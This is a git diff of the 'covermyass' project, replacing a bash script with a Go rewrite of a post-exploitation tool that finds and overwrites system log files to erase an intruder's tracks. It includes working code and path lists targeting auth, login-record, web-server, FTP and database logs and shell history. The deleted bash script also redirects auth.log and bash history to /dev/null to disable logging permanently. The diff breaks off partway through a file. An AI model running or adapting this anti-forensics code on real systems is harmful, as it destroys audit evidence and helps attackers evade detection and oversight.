diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..f6760e0 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,54 @@ +name: Go build + +on: + push: + branches: + - master + pull_request: + +jobs: + build: + name: Build + runs-on: ubuntu-latest + steps: + - name: Set up Go + uses: actions/setup-go@v3.2.0 + with: + go-version: 1.18.4 + id: go + - name: Check out code into the Go module directory + uses: actions/checkout@v3.0.0 + + - name: Get dependencies + run: | + go get -v -t -d ./... + + - name: Enforce Go formatted code + run: | + make fmt + if [[ -z $(git status --porcelain) ]]; then + echo "Git directory is clean." + else + echo "Git directory is dirty. Run make fmt locally and commit any formatting fixes or generated code." + git status --porcelain + exit 1 + fi + + - name: Install tools + run: make install-tools + + - name: Build + run: make build + + - name: Lint + run: make lint + + - name: Test + run: go test -race -coverprofile=./c.out -covermode=atomic -v ./... + + - name: Report code coverage + env: + COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + go install github.com/mattn/goveralls@latest + goveralls -coverprofile=./c.out -service=github diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..202e2f9 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,29 @@ +name: release + +on: + push: + tags: + - '*' + +jobs: + goreleaser: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3.0.0 + + - name: Unshallow + run: git fetch --prune --unshallow + + - name: Set up Go + uses: actions/setup-go@v3.2.0 + with: + go-version: 1.18.4 + + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v3.0.0 + with: + version: v1.12.3 + args: release --rm-dist + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f4c1397 --- /dev/null +++ b/.gitignore @@ -0,0 +1,24 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib +bin/* +!bin/.gitkeep + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Dependency directories (remove the comment below to include it) +# vendor/ +.vscode/ + +.DS_Store +coverage +coverage.* +unit-tests.xml +.idea diff --git a/.goreleaser.yml b/.goreleaser.yml new file mode 100644 index 0000000..754d631 --- /dev/null +++ b/.goreleaser.yml @@ -0,0 +1,37 @@ +project_name: covermyass +dist: bin +release: + github: + owner: sundowndev + name: covermyass + draft: false + prerelease: auto +before: + hooks: + - go generate ./... +builds: + - id: "covermyass" + binary: covermyass + dir: . + env: + - CGO_ENABLED=0 + goos: + - linux + - darwin + #- windows + goarch: + - amd64 + - arm + - arm64 + - 386 + ldflags: "-s -w -X github.com/sundowndev/covermyass/v2/build.version={{.Version}} -X github.com/sundowndev/covermyass/v2/build.commit={{.ShortCommit}}" +archives: + - name_template: '{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}' + format: binary + replacements: + armv6: arm +checksum: + name_template: '{{ .ProjectName }}_SHA256SUMS' + algorithm: sha256 +snapshot: + name_template: "{{ .Tag }}-next" \ No newline at end of file diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 1ef94fb..0000000 --- a/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -os: linux - -before_script: - - shellcheck ./covermyass - - sudo cp covermyass /usr/bin/covermyass - - sudo chmod +x /usr/bin/covermyass - -script: - - sudo covermyass now diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000..c8428d2 --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1 @@ +* @sundowndev diff --git a/LICENSE b/LICENSE index 500d62a..8ce8991 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2020 Raphaël Cerveaux +Copyright (c) 2022 Raphaël Cerveaux Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..5704e01 --- /dev/null +++ b/Makefile @@ -0,0 +1,62 @@ +# Use bash syntax +SHELL=/bin/bash +# Go parameters +GOCMD=go +GOBINPATH=$(shell $(GOCMD) env GOPATH)/bin +GOMOD=$(GOCMD) mod +GOBUILD=$(GOCMD) build +GOCLEAN=$(GOCMD) clean +GOTEST=gotestsum +GOGET=$(GOCMD) get +GOINSTALL=$(GOCMD) install +GOTOOL=$(GOCMD) tool +GOFMT=$(GOCMD) fmt +GIT_TAG=$(shell git describe --abbrev=0 --tags) +GIT_COMMIT=$(shell git rev-parse --short HEAD) + +.PHONY: FORCE + +.PHONY: all +all: fmt lint test build go.mod + +.PHONY: build +build: + go generate ./... + go build -v -ldflags="-s -w -X 'github.com/sundowndev/covermyass/v2/build.version=${GIT_TAG}' -X 'github.com/sundowndev/covermyass/v2/build.commit=${GIT_COMMIT}'" -o ./bin/covermyass . + +.PHONY: test +test: + $(GOTEST) --format testname --junitfile unit-tests.xml -- -mod=readonly -race -coverprofile=./c.out -covermode=atomic -coverpkg=.,./... ./... + +.PHONY: coverage +coverage: test + $(GOTOOL) cover -func=cover.out + +.PHONY: mocks +mocks: + rm -rf mocks + mockery --all + +.PHONY: fmt +fmt: + $(GOFMT) ./... + +.PHONY: clean +clean: + $(GOCLEAN) + rm -f bin/* + +.PHONY: lint +lint: + @which golangci-lint > /dev/null 2>&1 || (curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | bash -s -- -b $(GOBINPATH) v1.50.1) + golangci-lint run -v --timeout=10m + +.PHONY: install-tools +install-tools: + $(GOINSTALL) gotest.tools/gotestsum@v1.6.3 + $(GOINSTALL) github.com/vektra/mockery/v2@v2.8.0 + +go.mod: FORCE + $(GOMOD) tidy + $(GOMOD) verify +go.sum: go.mod diff --git a/README.md b/README.md index 4fce9ff..ff662c0 100644 --- a/README.md +++ b/README.md @@ -1,97 +1,73 @@ -# Covermyass +## *covermyass* ## -[![Build status](https://img.shields.io/travis/sundowndev/covermyass/master.svg?style=flat-square)](https://travis-ci.org/sundowndev/covermyass/builds) -[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg?style=flat-square)](https://github.com/sundowndev/covermyass/releases) +[![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions) +[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases) -**⚠️ This tool is unmaintained** +### About ### -### About +**Covermyass** is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data. -Shell script to cover your tracks on UNIX systems. Designed for pen testing "covering tracks" phase, before exiting the infected server. Or, permanently disable system logs for post-exploitation. +### Current status ### -This tool allows you to clear log files such as : +This tool is still in beta. Upcoming versions might bring breaking changes. For now, we're focusing Linux and Darwin support, Windows may come later. + +### Installation ### + +Download the latest release : ```bash -# Linux -/var/log/messages # General message and system related stuff -/var/log/auth.log # Authenication logs -/var/log/kern.log # Kernel logs -/var/log/cron.log # Crond logs -/var/log/maillog # Mail server logs -/var/log/boot.log # System boot log -/var/log/mysqld.log # MySQL database server log file -/var/log/qmail # Qmail log directory -/var/log/httpd # Apache access and error logs directory -/var/log/lighttpd # Lighttpd access and error logs directory -/var/log/secure # Authentication log -/var/log/utmp # Login records file -/var/log/wtmp # Login records file -/var/log/yum.log # Yum command log file - -# macOS -/var/log/system.log # System Log -/var/log/DiagnosticMessages # Mac Analytics Data -/Library/Logs # System Application Logs -/Library/Logs/DiagnosticReports # System Reports -~/Library/Logs # User Application Logs -~/Library/Logs/DiagnosticReports # User Reports +curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyass +chmod +x ./covermyass ``` -## Installation - -With sudo - -```bash -sudo curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o /usr/bin/covermyass -sudo chmod +x /usr/bin/covermyass -``` - -Without sudo : - -```bash -curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o ~/.local/bin/covermyass -chmod +x ~/.local/bin/covermyass -``` - -You can now use the tool using the executable. - -Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files (`/var/log`). - -## Usage - -Simply type : +### Usage ### ``` -covermyass # you may need to use sudo if you want to clean auth logs -``` +$ covermyass -h -Follow the instructions : +Usage: + covermyass [flags] + +Examples: + +Overwrite log files as well as those found by path /db/*.log +covermyass --write -p /db/*.log + +Overwrite log files 5 times with a final overwrite with zeros to hide shredding +covermyass --write -z -n 5 + + +Flags: + -f, --filter strings File paths to ignore (supports glob patterns) + -h, --help help for covermyass + -n, --iterations int Overwrite N times instead of the default (default 3) + -l, --list Show files in a simple list format. This will prevent any write operation + --no-read-only Exclude read-only files in the list. Must be used with --list + -v, --version version for covermyass + --write Erase found log files. This WILL shred the files! + -z, --zero Add a final overwrite with zeros to hide shredding ``` -Welcome to Cover my ass tool ! -Select an option : - -1) Clear logs for user root -2) Permenently disable auth & bash history -3) Restore settings to default -99) Exit tool - -> -``` - -*NOTE: don't forget to exit the terminal session since the bash history is cached.* - -Clear logs instantly (requires *sudo* to be efficient) : +First, run an analysis. This will not erase anything. ``` -sudo covermyass now +covermyass ``` -### Using cron job +When you acknowledged the results, erase those files. -Clear bash history every day at 5am : - -```bash -0 5 * * * covermyass now >/dev/null 2>&1 ``` +covermyass --write +``` + +Filter out some paths : + +``` +covermyass -f '/foo/bar/*.log' +covermyass -f '/foo/bar.log' +``` + +### License ### + +**covermyass** is licensed under the MIT license. Refer to [LICENSE](LICENSE) for more information. \ No newline at end of file diff --git a/bin/.gitkeep b/bin/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/build/build.go b/build/build.go new file mode 100644 index 0000000..2d1f88b --- /dev/null +++ b/build/build.go @@ -0,0 +1,21 @@ +package build + +import ( + "fmt" + "runtime" +) + +var version = "dev" +var commit = "dev" + +func Name() string { + return fmt.Sprintf("%s-%s", version, commit) +} + +func String() string { + return fmt.Sprintf("%s (%s)", Name(), runtime.Version()) +} + +func IsRelease() bool { + return Name() != "dev-dev" +} diff --git a/build/build_test.go b/build/build_test.go new file mode 100644 index 0000000..c92f315 --- /dev/null +++ b/build/build_test.go @@ -0,0 +1,33 @@ +package build + +import ( + "fmt" + "github.com/stretchr/testify/assert" + "runtime" + "testing" +) + +func TestBuild(t *testing.T) { + t.Run("version and commit default values", func(t *testing.T) { + assert.Equal(t, "dev", version) + assert.Equal(t, "dev", commit) + assert.Equal(t, false, IsRelease()) + assert.Equal(t, "dev-dev", Name()) + }) + + t.Run("version and commit default values", func(t *testing.T) { + version = "v2.4.4" + commit = "0ba854f" + assert.Equal(t, true, IsRelease()) + assert.Equal(t, "v2.4.4-0ba854f", Name()) + + // Reset values + version = "dev" + commit = "dev" + }) + + t.Run("version and commit with Go version", func(t *testing.T) { + assert.Equal(t, false, IsRelease()) + assert.Equal(t, fmt.Sprintf("dev-dev (%s)", runtime.Version()), String()) + }) +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..f661e7b --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,99 @@ +package cmd + +import ( + "fmt" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "github.com/sundowndev/covermyass/v2/build" + "github.com/sundowndev/covermyass/v2/lib/analysis" + "github.com/sundowndev/covermyass/v2/lib/filter" + "github.com/sundowndev/covermyass/v2/lib/output" + "github.com/sundowndev/covermyass/v2/lib/shred" + "os" +) + +type RootCmdOptions struct { + List bool + ExcludeReadOnly bool + Write bool + Zero bool + Iterations int + //ExtraPaths []string + FilterRules []string +} + +func NewRootCmd() *cobra.Command { + opts := &RootCmdOptions{} + cmd := &cobra.Command{ + Use: "covermyass", + Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.", + Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Files are overwritten multiple times with random data, in order to make it harder for even very expensive hardware probing to recover the data. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", + Example: ` +Overwrite log files as well as those found by path /db/*.log +covermyass --write -p /db/*.log + +Overwrite log files 5 times with a final overwrite with zeros to hide shredding +covermyass --write -z -n 5 +`, + Version: build.String(), + RunE: func(cmd *cobra.Command, args []string) error { + if opts.List { + opts.Write = false + } else { + output.ChangePrinter(output.NewConsolePrinter()) + } + + filterEngine := filter.NewEngine() + err := filterEngine.AddRule(opts.FilterRules...) + if err != nil { + return err + } + + analyzer := analysis.NewAnalyzer(filterEngine) + a, err := analyzer.Analyze() + if err != nil { + return err + } + + if opts.List { + for _, result := range a.Results() { + if opts.ExcludeReadOnly && result.ReadOnly { + continue + } + fmt.Println(result.Path) + } + return nil + } + + a.Write(os.Stdout) + + if opts.Write { + shredOptions := &shred.ShredderOptions{ + Zero: opts.Zero, + Iterations: opts.Iterations, + } + s := shred.New(shredOptions) + for _, result := range a.Results() { + logrus. + WithField("path", result.Path). + Debug("Shredding file") + if err := s.Write(result.Path); err != nil { + return fmt.Errorf("error writing file %s: %s", result.Path, err) + } + } + output.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations) + } + + return nil + }, + } + + cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation") + cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL shred the files!") + cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list") + cmd.PersistentFlags().BoolVarP(&opts.Zero, "zero", "z", false, "Add a final overwrite with zeros to hide shredding") + cmd.PersistentFlags().IntVarP(&opts.Iterations, "iterations", "n", 3, "Overwrite N times instead of the default") + cmd.PersistentFlags().StringSliceVarP(&opts.FilterRules, "filter", "f", []string{}, "File paths to ignore (supports glob patterns)") + + return cmd +} diff --git a/covermyass b/covermyass deleted file mode 100755 index f750eae..0000000 --- a/covermyass +++ /dev/null @@ -1,183 +0,0 @@ -#!/usr/bin/env bash - -LOGS_FILES=( - /var/log/messages # General message and system related stuff - /var/log/auth.log # Authenication logs - /var/log/kern.log # Kernel logs - /var/log/cron.log # Crond logs - /var/log/maillog # Mail server logs - /var/log/boot.log # System boot log - /var/log/mysqld.log # MySQL database server log file - /var/log/qmail # Qmail log directory - /var/log/httpd # Apache access and error logs directory - /var/log/lighttpd # Lighttpd access and error logs directory - /var/log/secure # Authentication log - /var/log/utmp # Login records file - /var/log/wtmp # Login records file - /var/log/yum.log # Yum command log file - /var/log/system.log # System Log - /var/log/DiagnosticMessages # Mac Analytics Data - /Library/Logs # System Application Logs - /Library/Logs/DiagnosticReports # System Reports - ~/Library/Logs # User Application Logs - ~/Library/Logs/DiagnosticReports # User Reports -) - -function isRoot () { - if [ "$EUID" -ne 0 ]; then - return 1 - fi -} - -function menu () { - echo - echo "Welcome to Cover my ass tool !" - - echo - echo "Select an option :" - echo - echo "1) Clear logs for user $USER" - echo "2) Permenently disable auth & bash history" - echo "3) Restore settings to default" - echo "99) Exit tool" - echo - - printf "> " - read -r option - echo -} - -function disableAuth () { - if [ -w /var/log/auth.log ]; then - ln /dev/null /var/log/auth.log -sf - echo "[+] Permanently sending /var/log/auth.log to /dev/null" - else - echo "[!] /var/log/auth.log is not writable! Retry using sudo." - fi -} - -function disableHistory () { - ln /dev/null ~/.bash_history -sf - echo "[+] Permanently sending bash_history to /dev/null" - - if [ -f ~/.zsh_history ]; then - ln /dev/null ~/.zsh_history -sf - echo "[+] Permanently sending zsh_history to /dev/null" - fi - - export HISTFILESIZE=0 - export HISTSIZE=0 - echo "[+] Set HISTFILESIZE & HISTSIZE to 0" - - set +o history - echo "[+] Disabled history library" - - echo - echo "Permenently disabled bash log." -} - -function enableAuth () { - if [ -w /var/log/auth.log ] && [ -L /var/log/auth.log ]; then - rm -rf /var/log/auth.log - echo "" > /var/log/auth.log - echo "[+] Disabled sending auth logs to /dev/null" - else - echo "[!] /var/log/auth.log is not writable! Retry using sudo." - fi -} - -function enableHistory () { - if [[ -L ~/.bash_history ]]; then - rm -rf ~/.bash_history - echo "" > ~/.bash_history - echo "[+] Disabled sending history to /dev/null" - fi - - if [[ -L ~/.zsh_history ]]; then - rm -rf ~/.zsh_history - echo "" > ~/.zsh_history - echo "[+] Disabled sending zsh history to /dev/null" - fi - - export HISTFILESIZE="" - export HISTSIZE=50000 - echo "[+] Restore HISTFILESIZE & HISTSIZE default values." - - set -o history - echo "[+] Enabled history library" - - echo - echo "Permenently enabled bash log." -} - -function clearLogs () { - for i in "${LOGS_FILES[@]}" - do - if [ -f "$i" ]; then - if [ -w "$i" ]; then - echo "" > "$i" - echo "[+] $i cleaned." - else - echo "[!] $i is not writable! Retry using sudo." - fi - elif [ -d "$i" ]; then - if [ -w "$i" ]; then - rm -rf "${i:?}"/* - echo "[+] $i cleaned." - else - echo "[!] $i is not writable! Retry using sudo." - fi - fi - done -} - -function clearHistory () { - if [ -f ~/.zsh_history ]; then - echo "" > ~/.zsh_history - echo "[+] ~/.zsh_history cleaned." - fi - - echo "" > ~/.bash_history - echo "[+] ~/.bash_history cleaned." - - history -c - echo "[+] History file deleted." - - echo - echo "Reminder: your need to reload the session to see effects." - echo "Type exit to do so." -} - -function exitTool () { - exit 1 -} - -clear # Clear output - -# "now" option -if [ -n "$1" ] && [ "$1" == 'now' ]; then - clearLogs - clearHistory - exit 0 -fi - -menu - -if [[ $option == 1 ]]; then - # Clear logs & current history - clearLogs - clearHistory -elif [[ $option == 2 ]]; then - # Permenently disable auth & bash log - disableAuth - disableHistory -elif [[ $option == 3 ]]; then - # Restore default settings - enableAuth - enableHistory -elif [[ $option == 99 ]]; then - # Exit tool - exitTool -else - echo "[!] Option not reconized. Exiting." -fi diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..ba3f863 --- /dev/null +++ b/go.mod @@ -0,0 +1,20 @@ +module github.com/sundowndev/covermyass/v2 + +go 1.18 + +require ( + github.com/bmatcuk/doublestar/v4 v4.2.0 + github.com/sirupsen/logrus v1.9.0 + github.com/spf13/cobra v1.6.0 + github.com/stretchr/testify v1.8.1 +) + +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/stretchr/objx v0.5.0 // indirect + golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..425f557 --- /dev/null +++ b/go.sum @@ -0,0 +1,33 @@ +github.com/bmatcuk/doublestar/v4 v4.2.0 h1:Qu+u9wR3Vd89LnlLMHvnZ5coJMWKQamqdz9/p5GNthA= +github.com/bmatcuk/doublestar/v4 v4.2.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI= +github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/lib/analysis/analysis.go b/lib/analysis/analysis.go new file mode 100644 index 0000000..c43a3c8 --- /dev/null +++ b/lib/analysis/analysis.go @@ -0,0 +1,70 @@ +package analysis + +import ( + "fmt" + "github.com/sundowndev/covermyass/v2/lib/check" + "io" + "os" + "time" +) + +type Summary struct { + TotalFiles int + TotalRWFiles int +} + +type Result struct { + Check check.Check + Path string + Size int64 + Mode os.FileMode + ReadOnly bool +} + +type Analysis struct { + Date time.Time + summary Summary + patterns []string + results []Result +} + +func NewAnalysis() *Analysis { + return &Analysis{ + Date: time.Now(), + summary: Summary{}, + patterns: []string{}, + results: []Result{}, + } +} + +func (a *Analysis) AddResult(result Result) { + a.results = append(a.results, result) + a.summary.TotalFiles += 1 + if !result.ReadOnly { + a.summary.TotalRWFiles += 1 + } +} + +func (a *Analysis) Results() []Result { + return a.results +} + +func (a *Analysis) Write(w io.Writer) { + if len(a.results) > 0 { + _, _ = fmt.Fprintf(w, "Found the following files\n") + + for _, res := range a.results { + _, _ = fmt.Fprintf(w, "%s (%s, %s)\n", res.Path, byteCountSI(res.Size), res.Mode.String()) + } + _, _ = fmt.Fprintf(w, "\n") + } + + _, _ = fmt.Fprintf( + w, + "Summary\nFound %d files (%d read-write, %d read-only) in %s\n", + a.summary.TotalFiles, + a.summary.TotalRWFiles, + a.summary.TotalFiles-a.summary.TotalRWFiles, + time.Since(a.Date).Round(time.Millisecond).String(), + ) +} diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go new file mode 100644 index 0000000..489babe --- /dev/null +++ b/lib/analysis/analyzer.go @@ -0,0 +1,64 @@ +package analysis + +import ( + "context" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/check" + "github.com/sundowndev/covermyass/v2/lib/filter" + "github.com/sundowndev/covermyass/v2/lib/find" + "github.com/sundowndev/covermyass/v2/lib/output" + "os" + "runtime" + "sync" +) + +type Analyzer struct { + filter filter.Filter +} + +func NewAnalyzer(filterEngine filter.Filter) *Analyzer { + return &Analyzer{filterEngine} +} + +func (a *Analyzer) Analyze() (*Analysis, error) { + analysis := NewAnalysis() + + output.Printf("Loaded known log files for %s\n", runtime.GOOS) + output.Printf("Scanning file system...\n\n") + + wg := &sync.WaitGroup{} + m := &sync.Mutex{} + for _, c := range check.GetAllChecks() { + wg.Add(1) + go func(c check.Check) { + finder := find.New(os.DirFS(""), a.filter) + results, err := finder.Run(context.TODO(), c.Paths()) + if err != nil { + logrus.Error(err) + return + } + + m.Lock() + defer m.Unlock() + for _, info := range results { + if a.filter.Match(info.Path()) { + continue + } + + analysis.AddResult(Result{ + Check: c, + Path: info.Path(), + Size: info.Size(), + Mode: info.Mode(), + ReadOnly: info.ReadOnly(), + }) + } + + wg.Done() + }(c) + } + + wg.Wait() + + return analysis, nil +} diff --git a/lib/analysis/utils.go b/lib/analysis/utils.go new file mode 100644 index 0000000..249301a --- /dev/null +++ b/lib/analysis/utils.go @@ -0,0 +1,17 @@ +package analysis + +import "fmt" + +func byteCountSI(b int64) string { + const unit = 1000 + if b < unit { + return fmt.Sprintf("%d B", b) + } + div, exp := int64(unit), 0 + for n := b / unit; n >= unit; n /= unit { + div *= unit + exp++ + } + return fmt.Sprintf("%.1f %cB", + float64(b)/float64(div), "kMGTPE"[exp]) +} diff --git a/lib/analysis/utils_test.go b/lib/analysis/utils_test.go new file mode 100644 index 0000000..a779c7d --- /dev/null +++ b/lib/analysis/utils_test.go @@ -0,0 +1,26 @@ +package analysis + +import ( + "fmt" + "github.com/stretchr/testify/assert" + "testing" +) + +func Test_byteCountSI(t *testing.T) { + testcases := map[int64]string{ + 0: "0 B", + 1: "1 B", + 10000: "10.0 kB", + 22736526: "22.7 MB", + 2123652683: "2.1 GB", + 2123652683000: "2.1 TB", + 2123652683000000: "2.1 PB", + 2123652683000000000: "2.1 EB", + } + + for v, expected := range testcases { + t.Run(fmt.Sprintf("test with input %d", v), func(t *testing.T) { + assert.Equal(t, expected, byteCountSI(v)) + }) + } +} diff --git a/lib/check/checks.go b/lib/check/checks.go new file mode 100644 index 0000000..79a676a --- /dev/null +++ b/lib/check/checks.go @@ -0,0 +1,16 @@ +package check + +var checks []Check + +type Check interface { + Name() string + Paths() []string +} + +func GetAllChecks() []Check { + return checks +} + +func AddCheck(s Check) { + checks = append(checks, s) +} diff --git a/lib/check/database_server_check.go b/lib/check/database_server_check.go new file mode 100644 index 0000000..a95972e --- /dev/null +++ b/lib/check/database_server_check.go @@ -0,0 +1,24 @@ +//go:build !windows + +package check + +type databaseServerCheck struct{} + +func NewDatabaseServerCheck() Check { + return &databaseServerCheck{} +} + +func (s *databaseServerCheck) Name() string { + return "database-server" +} + +func (s *databaseServerCheck) Paths() []string { + return []string{ + "/var/log/mysqld.log", + "/var/log/mysql.log", + } +} + +func init() { + AddCheck(NewDatabaseServerCheck()) +} diff --git a/lib/check/ftp_check.go b/lib/check/ftp_check.go new file mode 100644 index 0000000..d91e3df --- /dev/null +++ b/lib/check/ftp_check.go @@ -0,0 +1,26 @@ +//go:build !windows + +package check + +type ftpCheck struct{} + +func NewFTPCheck() Check { + return &ftpCheck{} +} + +func (s *ftpCheck) Name() string { + return "ftp" +} + +func (s *ftpCheck) Paths() []string { + return []string{ + "/usr/local/psa/var/log/xferlog*", + "/var/log/xferlog*", + "/var/log/secure*", + "/var/log/pureftp.log*", + } +} + +func init() { + AddCheck(NewFTPCheck()) +} diff --git a/lib/check/http_server_check.go b/lib/check/http_server_check.go new file mode 100644 index 0000000..fd92f1d --- /dev/null +++ b/lib/check/http_server_check.go @@ -0,0 +1,28 @@ +//go:build !windows + +package check + +type httpServerCheck struct{} + +func NewHTTPServerCheck() Check { + return &httpServerCheck{} +} + +func (s *httpServerCheck) Name() string { + return "http-server" +} + +func (s *httpServerCheck) Paths() []string { + return []string{ + "/var/log/apache2/access.log*", + "/var/log/apache2/error_log*", + "/var/log/httpd*", + "/var/log/apache/access.log*", + "/var/log/apache/error.log*", + "/var/log/nginx/*.log*", + } +} + +func init() { + AddCheck(NewHTTPServerCheck()) +} diff --git a/lib/check/mail_check.go b/lib/check/mail_check.go new file mode 100644 index 